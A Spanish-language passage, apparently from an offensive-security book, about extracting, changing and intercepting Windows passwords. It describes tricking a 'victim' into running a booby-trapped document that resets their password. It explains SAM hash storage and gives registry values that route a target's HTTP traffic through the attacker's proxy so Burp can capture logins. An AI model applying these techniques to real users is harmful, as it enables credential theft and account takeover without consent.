Extraer, romper, cambiar una contraseña
Cómo extraer una contraseña en un equipo o un controlador de dominio
Este capítulo nos permitirá demostrar que es posible cambiar la contraseña de un usuario sin tener conocimiento de la antigua contraseña, extraer las contraseñas guardadas en un equipo local o un controlador de domino. Es también posible escuchar las conversaciones de red para recuperar las informaciones de autenticación sin necesidad de acceder directamente al sistema o descifrar una contraseña interceptada aunque esté protegida.
Vamos a empezar por modificar la contraseña de un usuario sin conocer la antigua. A decir verdad, es el usuario quien la va a cambiar. Para ello, vamos a encapsular el siguiente script con una de las técnicas vistas en el capítulo anterior, es decir, entregar a nuestra víctima un documento, una aplicación o un zip trampa con un pequeño trozo de código.
Aquí tiene el script si va a modificar una aplicación o un controlador.
Aquí, la línea de código si modifica un documento de Office:
El resto de los pasos han sido explicados en el capítulo anterior, que puede tomar como referencia. Una vez el documento o la aplicación ejecutada, la contraseña del usuario se cambiará en el dominio. Si la contraseña local debe modificarse, quite /Domain al final de la línea de comandos.
1. Herramientas de extracción de contraseñas de sesión
a. La SAM en detalle
Las contraseñas están encriptadas y guardadas en un sitio donde no se puede acceder directamente con cuentas de usuarios o de administradores. Solo la cuenta de sistema tiene permiso para buscar información allí. Este sitio es la SAM (Security Account Management) para las cuentas locales y el Active Directory para los usuarios del dominio. En las versiones de Windows anteriores a Vista, la contraseña se guardaba en LanManager, un sistema muy débil. Desde Vista, el sistema guarda un hash de la contraseña usando MD4.
Al abrir una sesión local, la contraseña que el usuario teclea en la ventana de inicio de sesión es resumida y comparada con la que se encuentra guardada en la SAM. En ningún momento la contraseña se encuentra en texto plano.
¿Pero realmente qué es la SAM? ¿Dónde se almacena? ¿Cómo...
¿Cómo recuperar una contraseña desde la red?
Las contraseñas circulan también a través de la red. Los sitios web, los programas o el acceso a recursos solicitan informaciones de la conexión. Vamos a aprovecharlo para recuperar las contraseñas.
1. Utilización de un proxy
Cuando el usuario accede a un sitio web o a una intranet, se le puede solicitar un nombre de usuario, así como una contraseña en un formulario web.
El navegador se conecta en la mayoría de los casos directamente a una intranet, pero a veces utiliza un proxy para hacerlo a un sitio web. El tráfico, incluida la contraseña, pasa, por lo tanto, por este proxy. Usaremos el mismo principio para recuperar la contraseña de un usuario que accede a una intranet o que usa un programa autentificándose por un webservice. Tenemos para esto dos tareas que realizar: poner en marcha un proxy que nos facilitará las informaciones buscadas y redirigir el tráfico web del usuario hacia nuestro proxy.
a. Configurar el objetivo
Para redirigir el tráfico, vamos a modificar el registro del usuario utilizando un programa o un archivo trampa (ver el capítulo Tomar el rol de administrador o de sistema).
Haga que el usuario objetivo ejecute la clave que modifica el registro.
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
"MigrateProxy"=dword:00000001
"ProxyEnable"=dword:00000001
"ProxyHttp1.1"=dword:00000001
"ProxyServer"=" http=nombredenuestroequipo:8080"
De esta manera, solo afectamos al tráfico HTTP. HTTPS será explicado en el apartado siguiente.
b. Usar Burp Proxy
Para poner en marcha nuestra aplicación, usaremos Burp Proxy, que se puede descargar desde Internet. Burp Proxy es un programa que no necesita instalación y está escrito en Java, muy fácil de usar. Está disponible en la URL: http://portswigger.net/burp/download.html
Una vez descargada, ejecute la aplicación y vaya al menú proxy - options y haga clic en edit. Desactive la opción listen on loopback interface only. Haga clic después en update. Sin esta modificación, el proxy solo escucha en la dirección de loopback 127.0.0.1.
En caso de que utilice ya un proxy en la empresa, puede configurar los campos redirect...